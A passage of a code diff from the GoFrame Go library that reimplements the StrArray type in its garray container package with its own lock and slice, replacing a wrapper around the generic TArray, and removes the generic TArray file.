+	return NewIntArrayFrom(newSlice, a.mu.IsSafe())
 }

container/garray/garray_normal_str.go

@@ -8,20 +8,25 @@ package garray
 
 import (
 	"bytes"
+	"math"
 	"sort"
 	"strings"
-	"sync"
 
+	"github.com/gogf/gf/v2/errors/gcode"
+	"github.com/gogf/gf/v2/errors/gerror"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/text/gstr"
 	"github.com/gogf/gf/v2/util/gconv"
+	"github.com/gogf/gf/v2/util/grand"
 )
 
 // StrArray is a golang string array with rich features.
 // It contains a concurrent-safe/unsafe switch, which should be set
 // when its initialization and cannot be changed then.
 type StrArray struct {
-	*TArray[string]
-	once sync.Once
+	mu    rwmutex.RWMutex
+	array []string
 }
 
 // NewStrArray creates and returns an empty array.
@@ -36,7 +41,8 @@ func NewStrArray(safe ...bool) *StrArray {
 // which is false in default.
 func NewStrArraySize(size int, cap int, safe ...bool) *StrArray {
 	return &StrArray{
-		TArray: NewTArraySize[string](size, cap, safe...),
+		mu:    rwmutex.Create(safe...),
+		array: make([]string, size, cap),
 	}
 }
 
@@ -45,7 +51,8 @@ func NewStrArraySize(size int, cap int, safe ...bool) *StrArray {
 // which is false in default.
 func NewStrArrayFrom(array []string, safe ...bool) *StrArray {
 	return &StrArray{
-		TArray: NewTArrayFrom(array, safe...),
+		mu:    rwmutex.Create(safe...),
+		array: array,
 	}
 }
 
@@ -55,64 +62,77 @@ func NewStrArrayFrom(array []string, safe ...bool) *StrArray {
 func NewStrArrayFromCopy(array []string, safe ...bool) *StrArray {
 	newArray := make([]string, len(array))
 	copy(newArray, array)
-	return NewStrArrayFrom(newArray, safe...)
-}
-
-// lazyInit lazily initializes the array.
-func (a *StrArray) lazyInit() {
-	a.once.Do(func() {
-		if a.TArray == nil {
-			a.TArray = NewTArray[string](false)
-		}
-	})
+	return &StrArray{
+		mu:    rwmutex.Create(safe...),
+		array: newArray,
+	}
 }
 
 // At returns the value by the specified index.
 // If the given `index` is out of range of the array, it returns an empty string.
 func (a *StrArray) At(index int) (value string) {
-	a.lazyInit()
-	return a.TArray.At(index)
+	value, _ = a.Get(index)
+	return
 }
 
 // Get returns the value by the specified index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *StrArray) Get(index int) (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.Get(index)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if index < 0 || index >= len(a.array) {
+		return "", false
+	}
+	return a.array[index], true
 }
 
 // Set sets value to specified index.
 func (a *StrArray) Set(index int, value string) error {
-	a.lazyInit()
-	return a.TArray.Set(index, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
+	}
+	a.array[index] = value
+	return nil
 }
 
 // SetArray sets the underlying slice array with the given `array`.
 func (a *StrArray) SetArray(array []string) *StrArray {
-	a.lazyInit()
-	a.TArray.SetArray(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.array = array
 	return a
 }
 
 // Replace replaces the array items by given `array` from the beginning of array.
 func (a *StrArray) Replace(array []string) *StrArray {
-	a.lazyInit()
-	a.TArray.Replace(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	max := len(array)
+	if max > len(a.array) {
+		max = len(a.array)
+	}
+	for i := 0; i < max; i++ {
+		a.array[i] = array[i]
+	}
 	return a
 }
 
 // Sum returns the sum of values in an array.
 func (a *StrArray) Sum() (sum int) {
-	a.lazyInit()
-	return a.TArray.Sum()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		sum += gconv.Int(v)
+	}
+	return
 }
 
 // Sort sorts the array in increasing order.
 // The parameter `reverse` controls whether sort
 // in increasing order(default) or decreasing order
 func (a *StrArray) Sort(reverse ...bool) *StrArray {
-	a.lazyInit()
-
 	a.mu.Lock()
 	defer a.mu.Unlock()
 	if len(reverse) > 0 && reverse[0] {
@@ -127,101 +147,200 @@ func (a *StrArray) Sort(reverse ...bool) *StrArray {
 
 // SortFunc sorts the array by custom function `less`.
 func (a *StrArray) SortFunc(less func(v1, v2 string) bool) *StrArray {
-	a.lazyInit()
-	a.TArray.SortFunc(less)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	sort.Slice(a.array, func(i, j int) bool {
+		return less(a.array[i], a.array[j])
+	})
 	return a
 }
 
 // InsertBefore inserts the `values` to the front of `index`.
 func (a *StrArray) InsertBefore(index int, values ...string) error {
-	a.lazyInit()
-	return a.TArray.InsertBefore(index, values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
+	}
+	rear := append([]string{}, a.array[index:]...)
+	a.array = append(a.array[0:index], values...)
+	a.array = append(a.array, rear...)
+	return nil
 }
 
 // InsertAfter inserts the `values` to the back of `index`.
 func (a *StrArray) InsertAfter(index int, values ...string) error {
-	a.lazyInit()
-	return a.TArray.InsertAfter(index, values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if index < 0 || index >= len(a.array) {
+		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
+	}
+	rear := append([]string{}, a.array[index+1:]...)
+	a.array = append(a.array[0:index+1], values...)
+	a.array = append(a.array, rear...)
+	return nil
 }
 
 // Remove removes an item by index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *StrArray) Remove(index int) (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.Remove(index)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(index)
+}
+
+// doRemoveWithoutLock removes an item by index without lock.
+func (a *StrArray) doRemoveWithoutLock(index int) (value string, found bool) {
+	if index < 0 || index >= len(a.array) {
+		return "", false
+	}
+	// Determine array boundaries when deleting to improve deletion efficiency.
+	if index == 0 {
+		value := a.array[0]
+		a.array = a.array[1:]
+		return value, true
+	} else if index == len(a.array)-1 {
+		value := a.array[index]
+		a.array = a.array[:index]
+		return value, true
+	}
+	// If it is a non-boundary delete,
+	// it will involve the creation of an array,
+	// then the deletion is less efficient.
+	value = a.array[index]
+	a.array = append(a.array[:index], a.array[index+1:]...)
+	return value, true
 }
 
 // RemoveValue removes an item by value.
 // It returns true if value is found in the array, or else false if not found.
 func (a *StrArray) RemoveValue(value string) bool {
-	a.lazyInit()
-	return a.TArray.RemoveValue(value)
+	if i := a.Search(value); i != -1 {
+		_, found := a.Remove(i)
+		return found
+	}
+	return false
 }
 
 // RemoveValues removes multiple items by `values`.
 func (a *StrArray) RemoveValues(values ...string) {
-	a.lazyInit()
-	a.TArray.RemoveValues(values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		if i := a.doSearchWithoutLock(value); i != -1 {
+			a.doRemoveWithoutLock(i)
+		}
+	}
 }
 
 // PushLeft pushes one or multiple items to the beginning of array.
 func (a *StrArray) PushLeft(value ...string) *StrArray {
-	a.lazyInit()
-	a.TArray.PushLeft(value...)
+	a.mu.Lock()
+	a.array = append(value, a.array...)
+	a.mu.Unlock()
 	return a
 }
 
 // PushRight pushes one or multiple items to the end of array.
 // It equals to Append.
 func (a *StrArray) PushRight(value ...string) *StrArray {
-	a.lazyInit()
-	a.TArray.PushRight(value...)
+	a.mu.Lock()
+	a.array = append(a.array, value...)
+	a.mu.Unlock()
 	return a
 }
 
 // PopLeft pops and returns an item from the beginning of array.
 // Note that if the array is empty, the `found` is false.
 func (a *StrArray) PopLeft() (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.PopLeft()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return "", false
+	}
+	value = a.array[0]
+	a.array = a.array[1:]
+	return value, true
 }
 
 // PopRight pops and returns an item from the end of array.
 // Note that if the array is empty, the `found` is false.
 func (a *StrArray) PopRight() (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.PopRight()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	index := len(a.array) - 1
+	if index < 0 {
+		return "", false
+	}
+	value = a.array[index]
+	a.array = a.array[:index]
+	return value, true
 }
 
 // PopRand randomly pops and return an item out of array.
 // Note that if the array is empty, the `found` is false.
 func (a *StrArray) PopRand() (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.PopRand()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
 }
 
 // PopRands randomly pops and returns `size` items out of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *StrArray) PopRands(size int) []string {
-	a.lazyInit()
-	return a.TArray.PopRands(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		size = len(a.array)
+	}
+	array := make([]string, size)
+	for i := 0; i < size; i++ {
+		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
+	}
+	return array
 }
 
 // PopLefts pops and returns `size` items from the beginning of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *StrArray) PopLefts(size int) []string {
-	a.lazyInit()
-	return a.TArray.PopLefts(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[0:size]
+	a.array = a.array[size:]
+	return value
 }
 
 // PopRights pops and returns `size` items from the end of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *StrArray) PopRights(size int) []string {
-	a.lazyInit()
-	return a.TArray.PopRights(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	index := len(a.array) - size
+	if index <= 0 {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[index:]
+	a.array = a.array[:index]
+	return value
 }
 
 // Range picks and returns items by range, like array[start:end].
@@ -232,8 +351,26 @@ func (a *StrArray) PopRights(size int) []string {
 // If `end` is omitted, then the sequence will have everything from start up
 // until the end of the array.
 func (a *StrArray) Range(start int, end ...int) []string {
-	a.lazyInit()
-	return a.TArray.Range(start, end...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	offsetEnd := len(a.array)
+	if len(end) > 0 && end[0] < offsetEnd {
+		offsetEnd = end[0]
+	}
+	if start > offsetEnd {
+		return nil
+	}
+	if start < 0 {
+		start = 0
+	}
+	array := ([]string)(nil)
+	if a.mu.IsSafe() {
+		array = make([]string, offsetEnd-start)
+		copy(array, a.array[start:offsetEnd])
+	} else {
+		array = a.array[start:offsetEnd]
+	}
+	return array
 }
 
 // SubSlice returns a slice of elements from the array as specified
@@ -250,63 +387,111 @@ func (a *StrArray) Range(start int, end ...int) []string {
 //
 // Any possibility crossing the left border of array, it will fail.
 func (a *StrArray) SubSlice(offset int, length ...int) []string {
-	a.lazyInit()
-	return a.TArray.SubSlice(offset, length...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	size := len(a.array)
+	if len(length) > 0 {
+		size = length[0]
+	}
+	if offset > len(a.array) {
+		return nil
+	}
+	if offset < 0 {
+		offset = len(a.array) + offset
+		if offset < 0 {
+			return nil
+		}
+	}
+	if size < 0 {
+		offset += size
+		size = -size
+		if offset < 0 {
+			return nil
+		}
+	}
+	end := offset + size
+	if end > len(a.array) {
+		end = len(a.array)
+		size = len(a.array) - offset
+	}
+	if a.mu.IsSafe() {
+		s := make([]string, size)
+		copy(s, a.array[offset:])
+		return s
+	}
+	return a.array[offset:end]
 }
 
 // Append is alias of PushRight,please See PushRight.
 func (a *StrArray) Append(value ...string) *StrArray {
-	a.lazyInit()
-	a.TArray.Append(value...)
+	a.mu.Lock()
+	a.array = append(a.array, value...)
+	a.mu.Unlock()
 	return a
 }
 
 // Len returns the length of array.
 func (a *StrArray) Len() int {
-	a.lazyInit()
-	return a.TArray.Len()
+	a.mu.RLock()
+	length := len(a.array)
+	a.mu.RUnlock()
+	return length
 }
 
 // Slice returns the underlying data of array.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (a *StrArray) Slice() []string {
-	a.lazyInit()
-	return a.TArray.Slice()
+	array := ([]string)(nil)
+	if a.mu.IsSafe() {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+		array = make([]string, len(a.array))
+		copy(array, a.array)
+	} else {
+		array = a.array
+	}
+	return array
 }
 
-// Interfaces returns current array as []any.
-func (a *StrArray) Interfaces() []any {
-	a.lazyInit()
-	return a.TArray.Interfaces()
+// Interfaces returns current array as []interface{}.
+func (a *StrArray) Interfaces() []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	array := make([]interface{}, len(a.array))
+	for k, v := range a.array {
+		array[k] = v
+	}
+	return array
 }
 
 // Clone returns a new array, which is a copy of current array.
 func (a *StrArray) Clone() (newArray *StrArray) {
-	a.lazyInit()
-	return &StrArray{
-		TArray: a.TArray.Clone(),
-	}
+	a.mu.RLock()
+	array := make([]string, len(a.array))
+	copy(array, a.array)
+	a.mu.RUnlock()
+	return NewStrArrayFrom(array, a.mu.IsSafe())
 }
 
 // Clear deletes all items of current array.
 func (a *StrArray) Clear() *StrArray {
-	a.lazyInit()
-	a.TArray.Clear()
+	a.mu.Lock()
+	if len(a.array) > 0 {
+		a.array = make([]string, 0)
+	}
+	a.mu.Unlock()
 	return a
 }
 
 // Contains checks whether a value exists in the array.
 func (a *StrArray) Contains(value string) bool {
-	a.lazyInit()
-	return a.TArray.Contains(value)
+	return a.Search(value) != -1
 }
 
 // ContainsI checks whether a value exists in the array with case-insensitively.
 // Note that it internally iterates the whole array to do the comparison with case-insensitively.
 func (a *StrArray) ContainsI(value string) bool {
-	a.lazyInit()
-
 	a.mu.RLock()
 	defer a.mu.RUnlock()
 	if len(a.array) == 0 {
@@ -323,29 +508,64 @@ func (a *StrArray) ContainsI(value string) bool {
 // Search searches array by `value`, returns the index of `value`,
 // or returns -1 if not exists.
 func (a *StrArray) Search(value string) int {
-	a.lazyInit()
-	return a.TArray.Search(value)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return a.doSearchWithoutLock(value)
+}
+
+func (a *StrArray) doSearchWithoutLock(value string) int {
+	if len(a.array) == 0 {
+		return -1
+	}
+	result := -1
+	for index, v := range a.array {
+		if strings.Compare(v, value) == 0 {
+			result = index
+			break
+		}
+	}
+	return result
 }
 
 // Unique uniques the array, clear repeated items.
 // Example: [1,1,2,3,2] -> [1,2,3]
 func (a *StrArray) Unique() *StrArray {
-	a.lazyInit()
-	a.TArray.Unique()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return a
+	}
+	var (
+		ok          bool
+		temp        string
+		uniqueSet   = make(map[string]struct{})
+		uniqueArray = make([]string, 0, len(a.array))
+	)
+	for i := 0; i < len(a.array); i++ {
+		temp = a.array[i]
+		if _, ok = uniqueSet[temp]; ok {
+			continue
+		}
+		uniqueSet[temp] = struct{}{}
+		uniqueArray = append(uniqueArray, temp)
+	}
+	a.array = uniqueArray
 	return a
 }
 
 // LockFunc locks writing by callback function `f`.
 func (a *StrArray) LockFunc(f func(array []string)) *StrArray {
-	a.lazyInit()
-	a.TArray.LockFunc(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	f(a.array)
 	return a
 }
 
 // RLockFunc locks reading by callback function `f`.
 func (a *StrArray) RLockFunc(f func(array []string)) *StrArray {
-	a.lazyInit()
-	a.TArray.RLockFunc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	f(a.array)
 	return a
 }
 
@@ -353,23 +573,49 @@ func (a *StrArray) RLockFunc(f func(array []string)) *StrArray {
 // The parameter `array` can be any garray or slice type.
 // The difference between Merge and Append is Append supports only specified slice type,
 // but Merge supports more parameter types.
-func (a *StrArray) Merge(array any) *StrArray {
+func (a *StrArray) Merge(array interface{}) *StrArray {
 	return a.Append(gconv.Strings(array)...)
 }
 
 // Fill fills an array with num entries of the value `value`,
 // keys starting at the `startIndex` parameter.
 func (a *StrArray) Fill(startIndex int, num int, value string) error {
-	a.lazyInit()
-	return a.TArray.Fill(startIndex, num, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if startIndex < 0 || startIndex > len(a.array) {
+		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", startIndex, len(a.array))
+	}
+	for i := startIndex; i < startIndex+num; i++ {
+		if i > len(a.array)-1 {
+			a.array = append(a.array, value)
+		} else {
+			a.array[i] = value
+		}
+	}
+	return nil
 }
 
 // Chunk splits an array into multiple arrays,
 // the size of each array is determined by `size`.
 // The last chunk may contain less than size elements.
 func (a *StrArray) Chunk(size int) [][]string {
-	a.lazyInit()
-	return a.TArray.Chunk(size)
+	if size < 1 {
+		return nil
+	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	length := len(a.array)
+	chunks := int(math.Ceil(float64(length) / float64(size)))
+	var n [][]string
+	for i, end := 0, 0; chunks > 0; chunks-- {
+		end = (i + 1) * size
+		if end > length {
+			end = length
+		}
+		n = append(n, a.array[i*size:end])
+		i++
+	}
+	return n
 }
 
 // Pad pads array to the specified length with `value`.
@@ -377,47 +623,98 @@ func (a *StrArray) Chunk(size int) [][]string {
 // If the absolute value of `size` is less than or equal to the length of the array
 // then no padding takes place.
 func (a *StrArray) Pad(size int, value string) *StrArray {
-	a.lazyInit()
-	a.TArray.Pad(size, value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size == 0 || (size > 0 && size < len(a.array)) || (size < 0 && size > -len(a.array)) {
+		return a
+	}
+	n := size
+	if size < 0 {
+		n = -size
+	}
+	n -= len(a.array)
+	tmp := make([]string, n)
+	for i := 0; i < n; i++ {
+		tmp[i] = value
+	}
+	if size > 0 {
+		a.array = append(a.array, tmp...)
+	} else {
+		a.array = append(tmp, a.array...)
+	}
 	return a
 }
 
 // Rand randomly returns one item from array(no deleting).
 func (a *StrArray) Rand() (value string, found bool) {
-	a.lazyInit()
-	return a.TArray.Rand()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return "", false
+	}
+	return a.array[grand.Intn(len(a.array))], true
 }
 
 // Rands randomly returns `size` items from array(no deleting).
 func (a *StrArray) Rands(size int) []string {
-	a.lazyInit()
-	return a.TArray.Rands(size)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	array := make([]string, size)
+	for i := 0; i < size; i++ {
+		array[i] = a.array[grand.Intn(len(a.array))]
+	}
+	return array
 }
 
 // Shuffle randomly shuffles the array.
 func (a *StrArray) Shuffle() *StrArray {
-	a.lazyInit()
-	a.TArray.Shuffle()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, v := range grand.Perm(len(a.array)) {
+		a.array[i], a.array[v] = a.array[v], a.array[i]
+	}
 	return a
 }
 
 // Reverse makes array with elements in reverse order.
 func (a *StrArray) Reverse() *StrArray {
-	a.lazyInit()
-	a.TArray.Reverse()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, j := 0, len(a.array)-1; i < j; i, j = i+1, j-1 {
+		a.array[i], a.array[j] = a.array[j], a.array[i]
+	}
 	return a
 }
 
 // Join joins array elements with a string `glue`.
 func (a *StrArray) Join(glue string) string {
-	a.lazyInit()
-	return a.TArray.Join(glue)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return ""
+	}
+	buffer := bytes.NewBuffer(nil)
+	for k, v := range a.array {
+		buffer.WriteString(v)
+		if k != len(a.array)-1 {
+			buffer.WriteString(glue)
+		}
+	}
+	return buffer.String()
 }
 
 // CountValues counts the number of occurrences of all values in the array.
 func (a *StrArray) CountValues() map[string]int {
-	a.lazyInit()
-	return a.TArray.CountValues()
+	m := make(map[string]int)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		m[v]++
+	}
+	return m
 }
 
 // Iterator is alias of IteratorAsc.
@@ -428,15 +725,25 @@ func (a *StrArray) Iterator(f func(k int, v string) bool) {
 // IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *StrArray) IteratorAsc(f func(k int, v string) bool) {
-	a.lazyInit()
-	a.TArray.IteratorAsc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for k, v := range a.array {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *StrArray) IteratorDesc(f func(k int, v string) bool) {
-	a.lazyInit()
-	a.TArray.IteratorDesc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for i := len(a.array) - 1; i >= 0; i-- {
+		if !f(i, a.array[i]) {
+			break
+		}
+	}
 }
 
 // String returns current array as a string, which implements like json.Marshal does.
@@ -444,9 +751,6 @@ func (a *StrArray) String() string {
 	if a == nil {
 		return ""
 	}
-
-	a.lazyInit()
-
 	a.mu.RLock()
 	defer a.mu.RUnlock()
 	buffer := bytes.NewBuffer(nil)
@@ -464,58 +768,90 @@ func (a *StrArray) String() string {
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 // Note that do not use pointer as its receiver here.
 func (a StrArray) MarshalJSON() ([]byte, error) {
-	a.lazyInit()
-	return a.TArray.MarshalJSON()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return json.Marshal(a.array)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (a *StrArray) UnmarshalJSON(b []byte) error {
-	a.lazyInit()
-	return a.TArray.UnmarshalJSON(b)
+	if a.array == nil {
+		a.array = make([]string, 0)
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
+		return err
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for array.
-func (a *StrArray) UnmarshalValue(value any) error {
-	a.lazyInit()
-	return a.TArray.UnmarshalValue(value)
+func (a *StrArray) UnmarshalValue(value interface{}) error {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	switch value.(type) {
+	case string, []byte:
+		return json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
+	default:
+		a.array = gconv.SliceStr(value)
+	}
+	return nil
 }
 
 // Filter iterates array and filters elements using custom callback function.
 // It removes the element from array if callback function `filter` returns true,
 // it or else does nothing and continues iterating.
 func (a *StrArray) Filter(filter func(index int, value string) bool) *StrArray {
-	a.lazyInit()
-	a.TArray.Filter(filter)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if filter(i, a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // FilterEmpty removes all empty string value of the array.
 func (a *StrArray) FilterEmpty() *StrArray {
-	a.lazyInit()
-	a.TArray.FilterEmpty()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if a.array[i] == "" {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // Walk applies a user supplied function `f` to every item of array.
 func (a *StrArray) Walk(f func(value string) string) *StrArray {
-	a.lazyInit()
-	a.TArray.Walk(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i, v := range a.array {
+		a.array[i] = f(v)
+	}
 	return a
 }
 
 // IsEmpty checks whether the array is empty.
 func (a *StrArray) IsEmpty() bool {
-	a.lazyInit()
-	return a.TArray.IsEmpty()
+	return a.Len() == 0
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (a *StrArray) DeepCopy() any {
+func (a *StrArray) DeepCopy() interface{} {
 	if a == nil {
 		return nil
 	}
-	a.lazyInit()
-	return &StrArray{
-		TArray: a.TArray.DeepCopy().(*TArray[string]),
-	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	newSlice := make([]string, len(a.array))
+	copy(newSlice, a.array)
+	return NewStrArrayFrom(newSlice, a.mu.IsSafe())
 }

container/garray/garray_normal_t.go

@@ -1,859 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package garray
-
-import (
-	"bytes"
-	"math"
-	"sort"
-
-	"github.com/gogf/gf/v2/errors/gcode"
-	"github.com/gogf/gf/v2/errors/gerror"
-	"github.com/gogf/gf/v2/internal/deepcopy"
-	"github.com/gogf/gf/v2/internal/empty"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/internal/rwmutex"
-	"github.com/gogf/gf/v2/text/gstr"
-	"github.com/gogf/gf/v2/util/gconv"
-	"github.com/gogf/gf/v2/util/grand"
-)
-
-// TArray is a golang array with rich features.
-// It contains a concurrent-safe/unsafe switch, which should be set
-// when its initialization and cannot be changed then.
-type TArray[T comparable] struct {
-	mu    rwmutex.RWMutex
-	array []T
-}
-
-// NewTArray creates and returns an empty array.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewTArray[T comparable](safe ...bool) *TArray[T] {
-	return NewTArraySize[T](0, 0, safe...)
-}
-
-// NewTArraySize create and returns an array with given size and cap.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewTArraySize[T comparable](size int, cap int, safe ...bool) *TArray[T] {
-	return &TArray[T]{
-		mu:    rwmutex.Create(safe...),
-		array: make([]T, size, cap),
-	}
-}
-
-// NewTArrayFrom creates and returns an array with given slice `array`.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewTArrayFrom[T comparable](array []T, safe ...bool) *TArray[T] {
-	return &TArray[T]{
-		mu:    rwmutex.Create(safe...),
-		array: array,
-	}
-}
-
-// NewTArrayFromCopy creates and returns an array from a copy of given slice `array`.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewTArrayFromCopy[T comparable](array []T, safe ...bool) *TArray[T] {
-	newArray := make([]T, len(array))
-	copy(newArray, array)
-	return &TArray[T]{
-		mu:    rwmutex.Create(safe...),
-		array: newArray,
-	}
-}
-
-// At returns the value by the specified index.
-// If the given `index` is out of range of the array, it returns `nil`.
-func (a *TArray[T]) At(index int) (value T) {
-	value, _ = a.Get(index)
-	return
-}
-
-// Get returns the value by the specified index.
-// If the given `index` is out of range of the array, the `found` is false.
-func (a *TArray[T]) Get(index int) (value T, found bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if index < 0 || index >= len(a.array) {
-		found = false
-		return
-	}
-	return a.array[index], true
-}
-
-// Set sets value to specified index.
-func (a *TArray[T]) Set(index int, value T) error {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if index < 0 || index >= len(a.array) {
-		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
-	}
-	a.array[index] = value
-	return nil
-}
-
-// SetArray sets the underlying slice array with the given `array`.
-func (a *TArray[T]) SetArray(array []T) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.array = array
-	return a
-}
-
-// Replace replaces the array items by given `array` from the beginning of array.
-func (a *TArray[T]) Replace(array []T) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	max := len(array)
-	if max > len(a.array) {
-		max = len(a.array)
-	}
-	for i := 0; i < max; i++ {
-		a.array[i] = array[i]
-	}
-	return a
-}
-
-// Sum returns the sum of values in an array.
-func (a *TArray[T]) Sum() (sum int) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for _, v := range a.array {
-		sum += gconv.Int(v)
-	}
-	return
-}
-
-// SortFunc sorts the array by custom function `less`.
-func (a *TArray[T]) SortFunc(less func(v1, v2 T) bool) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	sort.Slice(a.array, func(i, j int) bool {
-		return less(a.array[i], a.array[j])
-	})
-	return a
-}
-
-// InsertBefore inserts the `values` to the front of `index`.
-func (a *TArray[T]) InsertBefore(index int, values ...T) error {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if index < 0 || index >= len(a.array) {
-		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
-	}
-	rear := append([]T{}, a.array[index:]...)
-	a.array = append(a.array[0:index], values...)
-	a.array = append(a.array, rear...)
-	return nil
-}
-
-// InsertAfter inserts the `values` to the back of `index`.
-func (a *TArray[T]) InsertAfter(index int, values ...T) error {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if index < 0 || index >= len(a.array) {
-		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", index, len(a.array))
-	}
-	rear := append([]T{}, a.array[index+1:]...)
-	a.array = append(a.array[0:index+1], values...)
-	a.array = append(a.array, rear...)
-	return nil
-}
-
-// Remove removes an item by index.
-// If the given `index` is out of range of the array, the `found` is false.
-func (a *TArray[T]) Remove(index int) (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	return a.doRemoveWithoutLock(index)
-}
-
